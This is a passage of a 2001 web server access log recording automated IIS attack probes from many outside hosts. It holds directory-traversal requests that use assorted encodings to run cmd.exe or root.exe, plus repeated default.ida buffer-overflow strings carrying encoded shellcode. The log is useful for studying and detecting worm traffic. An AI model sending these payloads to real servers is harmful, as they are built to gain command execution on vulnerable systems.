  12266. 20010919 22:19:02:  [128.121.239.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12267. 20010919 22:19:21:  [128.121.239.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12268. 20010919 22:19:39:  [128.121.239.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12269. 20010919 22:20:01:  [128.121.239.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12270. 20010919 22:20:20:  [128.121.239.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12271. 20010919 22:20:39:  [128.121.239.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12272. 20010919 22:20:58:  [128.121.239.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12273. 20010919 22:21:17:  [128.121.239.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12274. 20010919 22:21:36: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12275. 20010919 22:21:36:  [128.121.239.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12276. 20010919 22:21:58:  [128.121.239.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12277. 20010919 22:22:16:  [128.121.239.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12278. 20010919 22:22:35:  [128.121.239.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12279. 20010919 22:22:57:  [128.121.239.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12280. 20010919 22:23:16:  [128.121.239.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12281. 20010919 22:23:35:  [128.121.239.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12282. 20010919 22:23:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12283. 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12284. 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12285. 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12286. 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12287. 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12288. 20010919 22:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12289. 20010919 22:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12290. 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12291. 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12292. 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12293. 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12294. 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12295. 20010919 22:24:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12296. 20010919 22:24:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12297. 20010919 22:24:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12298. 20010919 22:24:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12299. 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12300. 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12301. 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12302. 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12303. 20010919 22:40:27: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12304. 20010919 22:40:28: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12305. 20010919 22:40:28: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12306. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12307. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12308. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12309. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12310. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12311. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12312. 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12313. 20010919 22:40:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12314. 20010919 22:40:32: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12315. 20010919 22:47:19: host162.netcomco.com [] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12316. 20010919 23:04:03:  [128.164.247.208] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12317. 20010919 23:07:39:  [128.164.247.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12318. 20010919 23:07:57:  [128.164.247.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12319. 20010919 23:08:15:  [128.164.247.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12320. 20010919 23:08:34:  [128.164.247.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12321. 20010919 23:08:52:  [128.164.247.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12322. 20010919 23:09:10:  [128.164.247.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12323. 20010919 23:10:18:  [128.164.247.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12324. 20010919 23:10:36:  [128.164.247.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12325. 20010919 23:10:54:  [128.164.247.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12326. 20010919 23:11:12: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12327. 20010919 23:20:28: inf130-p4.cosapidata.com.pe [200.37.255.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12328. 20010919 23:26:35:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12329. 20010919 23:27:00:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12330. 20010919 23:27:18:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12331. 20010919 23:27:36:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12332. 20010919 23:27:55:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12333. 20010919 23:28:13:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12334. 20010919 23:28:31:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12335. 20010919 23:28:50:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12336. 20010919 23:29:08:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12337. 20010919 23:29:26:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12338. 20010919 23:29:45:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12339. 20010919 23:30:03:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12340. 20010919 23:30:21:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12341. 20010919 23:30:40:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12342. 20010919 23:30:58:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12343. 20010919 23:31:16:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12344. 20010919 23:31:35:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12345. 20010919 23:41:56:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12346. 20010919 23:42:15:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12347. 20010919 23:42:33:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12348. 20010919 23:42:51:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12349. 20010919 23:43:09:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12350. 20010919 23:43:28:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12351. 20010919 23:43:46:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12352. 20010919 23:44:04:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12353. 20010919 23:44:22:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12354. 20010919 23:44:41:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12355. 20010919 23:44:59:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12356. 20010919 23:45:17:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12357. 20010919 23:45:35:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12358. 20010919 23:45:54:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12359. 20010919 23:46:12:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12360. 20010919 23:46:30:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12361. 20010919 23:46:49:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12362. 20010919 23:47:07:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12363. 20010919 23:47:25:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12364. 20010919 23:47:43:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12365. 20010919 23:48:01:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12366. 20010919 23:48:20:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12367. 20010919 23:48:38:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12368. 20010919 23:48:56:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12369. 20010919 23:49:14:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12370. 20010919 23:49:33:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12371. 20010919 23:49:51:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12372. 20010919 23:50:09:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12373. 20010919 23:50:28:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12374. 20010919 23:50:46:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12375. 20010919 23:51:04:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12376. 20010919 23:51:22: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12377. 20010919 23:56:42: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12378. 20010919 23:56:45: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12379. 20010919 23:56:47: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12380. 20010919 23:56:50: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12381. 20010919 23:56:53: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12382. 20010919 23:57:06: dhcp9535183.columbus.rr.com [24.95.35.183] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12383. 20010920 00:06:19:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12384. 20010920 00:11:44:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12385. 20010920 00:12:02:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12386. 20010920 00:12:20:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12387. 20010920 00:12:39:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12388. 20010920 00:12:57:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12389. 20010920 00:13:15:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12390. 20010920 00:13:33:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12391. 20010920 00:13:51:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12392. 20010920 00:14:19:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12393. 20010920 00:14:37:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12394. 20010920 00:14:55:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12395. 20010920 00:15:13:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12396. 20010920 00:15:32:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12397. 20010920 00:15:50:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12398. 20010920 00:16:08:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12399. 20010920 00:16:26: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12400. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12401. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12402. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12403. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12404. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12405. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12406. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12407. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12408. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12409. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12410. 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12411. 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12412. 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12413. 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12414. 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12415. 20010920 00:20:58:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12416. 20010920 00:40:33:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12417. 20010920 00:40:52:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12418. 20010920 00:41:10:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12419. 20010920 00:41:28:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12420. 20010920 00:41:46:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12421. 20010920 00:42:04:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12422. 20010920 00:42:22:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12423. 20010920 00:42:41:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12424. 20010920 00:42:59:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12425. 20010920 00:43:17:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12426. 20010920 00:43:35:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12427. 20010920 00:43:53:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12428. 20010920 00:44:12:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12429. 20010920 00:44:30:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12430. 20010920 00:44:48:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12431. 20010920 00:45:06:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12432. 20010920 00:46:12:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12433. 20010920 00:46:30:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12434. 20010920 00:46:48:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12435. 20010920 00:47:06:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12436. 20010920 00:47:24:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12437. 20010920 00:47:43:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12438. 20010920 00:48:01:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12439. 20010920 00:48:19: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12440. 20010920 00:48:19:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12441. 20010920 00:48:37:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12442. 20010920 00:48:55:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12443. 20010920 00:49:14:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12444. 20010920 00:49:32:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
